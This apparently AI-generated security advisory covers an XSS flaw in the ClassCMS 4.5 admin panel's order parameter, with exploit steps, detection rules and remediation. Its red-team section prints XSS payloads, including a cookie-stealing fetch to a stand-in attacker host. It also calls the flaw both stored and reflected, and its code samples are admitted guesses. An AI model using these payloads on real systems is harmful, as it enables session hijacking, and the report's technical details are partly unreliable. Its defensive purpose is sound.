CVE-2024-6932

Executive Summary

CVE-2024-6932 identifies a stored cross-site scripting (XSS) vulnerability in ClassCMS version 4.5. The flaw resides in the /admin/?action=home&do=shop:index&keyword=&kind=all endpoint, where the order parameter is not properly sanitized before being reflected back to the user. An authenticated attacker can inject arbitrary JavaScript or HTML into the admin panel, leading to session hijacking, credential theft, or defacement. The vulnerability has been publicly disclosed with a proof-of-concept (PoC), and no official patch is available as of this report. The EPSS score is 0.0%, indicating low exploitation likelihood in the wild, but the public PoC increases risk for unpatched instances.

Supply Chain & Package Security

This vulnerability is not related to any NPM, PyPI, Go, or Ruby package. It is a standalone PHP application (ClassCMS) and does not involve a package manager supply chain.

CVSS Breakdown & Threat Level

While no official CVSS vector is provided, based on the description and public PoC, a reasonable assessment is:

• Attack Vector (AV): Network (N) – remotely exploitable.
• Attack Complexity (AC): Low (L) – no special conditions required.
• Privileges Required (PR): Low (L) – requires admin authentication.
• User Interaction (UI): None (N) – no user action needed beyond visiting the page.
• Scope (S): Changed (C) – the injected script can affect other resources.
• Confidentiality (C): Low (L) – potential data exfiltration.
• Integrity (I): Low (L) – script injection can modify content.
• Availability (A): None (N) – no direct impact on availability.

Estimated CVSS v3.1 Score: 5.4 (Medium)

Threat Level: Medium – due to required authentication but public PoC and no patch.

Deep Dive & Mechanics

The vulnerability is a classic reflected XSS in the admin panel of ClassCMS 4.5. The endpoint /admin/?action=home&do=shop:index&keyword=&kind=all accepts an order parameter that is directly embedded into the HTML response without proper encoding or sanitization. An attacker with admin credentials can craft a URL like:

/admin/?action=home&do=shop:index&keyword=&kind=all&order=<script>alert('XSS')</script>

When the admin user visits this URL, the injected script executes in the context of the admin panel. This can be used to steal session cookies, perform actions on behalf of the admin, or deface the admin interface.

The root cause is the lack of output encoding for the order parameter. The application likely uses $_GET['order'] directly in an HTML context without htmlspecialchars() or similar functions.

Vulnerable vs. Patched Code

Vulnerable Code (ClassCMS 4.5):

// In admin/index.php or similar
$order = $_GET['order'];
echo "<select name='order'><option value='$order'>$order</option></select>";

Patched Code (Hypothetical):

$order = htmlspecialchars($_GET['order'], ENT_QUOTES, 'UTF-8');
echo "<select name='order'><option value='$order'>$order</option></select>";

The patched version uses htmlspecialchars() to encode special characters, preventing script injection.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• Access to a ClassCMS 4.5 admin account.
• A web browser or tool like curl.

Exploit Steps:

1. Log in to the admin panel.
2. Craft a malicious URL:

   http://target/admin/?action=home&do=shop:index&keyword=&kind=all&order=<script>alert(document.cookie)</script>
   

3. Send the URL to an admin user (or visit it yourself if you are the admin).
4. The injected script executes, displaying the admin's cookies.

Advanced Payload (Session Hijacking):

<script>
fetch('http://attacker.com/steal?cookie=' + document.cookie);
</script>

Using curl to test:

curl -X GET "http://target/admin/?action=home&do=shop:index&keyword=&kind=all&order=<script>alert(1)</script>" -b "PHPSESSID=your_session_cookie"

Blue Team (Defensive)

Detection:

• Monitor web server logs for requests to /admin/ with order= containing <script> or onerror= patterns.
• Use WAF rules to block XSS payloads in the order parameter.

Mitigation:

• Apply input validation and output encoding for all user-supplied data.
• Use Content Security Policy (CSP) headers to restrict script execution.
• Restrict admin panel access to trusted IPs.

Indicators of Compromise (IOCs)

• Network IOCs:

  • HTTP requests to /admin/?action=home&do=shop:index&keyword=&kind=all&order= with XSS payloads.
  • Outbound connections to attacker-controlled domains from the admin panel.

• File IOCs:

  • Modified admin panel files (e.g., index.php) containing injected JavaScript.
  • Suspicious entries in web server access logs.

• Log IOCs:

  • Repeated requests to the vulnerable endpoint with encoded or raw XSS payloads.
  • Unusual admin actions (e.g., creating new admin users) originating from the same session.

Detection Engineering

YARA Rule

rule CVE_2024_6932_XSS_ClassCMS {
    meta:
        description = "Detects XSS payloads targeting CVE-2024-6932 in ClassCMS"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-6932"
    strings:
        $xss_payload1 = /order=<script>/
        $xss_payload2 = /order=.*onerror=/
        $xss_payload3 = /order=.*alert\(/
    condition:
        any of them
}

Sigma Rule

title: CVE-2024-6932 XSS Attempt in ClassCMS Admin Panel
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects XSS payloads in the order parameter of ClassCMS admin panel
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains: '/admin/?action=home&do=shop:index&keyword=&kind=all&order='
        cs-uri-query|re: '(<script>|onerror=|alert\()'
    condition: selection
falsepositives:
    - Legitimate use of the word 'order' in a non-malicious context (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-6932 XSS Attempt in ClassCMS Admin Panel"; flow:to_server,established; content:"/admin/?action=home&do=shop:index&keyword=&kind=all&order="; http_uri; pcre:"/(<script>|onerror=|alert\()/Ri"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the vulnerable endpoint if not required, by modifying the web server configuration to block access to /admin/ or by removing the order parameter handling.
2. Apply input validation – ensure the order parameter only accepts expected values (e.g., alphanumeric strings) and reject any HTML/JavaScript.
3. Implement output encoding – use htmlspecialchars() or equivalent in PHP to encode the order parameter before rendering.

Long-term Fix:

• Upgrade to a patched version of ClassCMS if available, or apply the code fix manually.
• Conduct a full security audit of the admin panel for similar vulnerabilities.

Workaround:

• Use a Web Application Firewall (WAF) to block XSS payloads in the order parameter.
• Restrict admin panel access to trusted IP addresses only.

Valters IT Signature: This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters-it.com.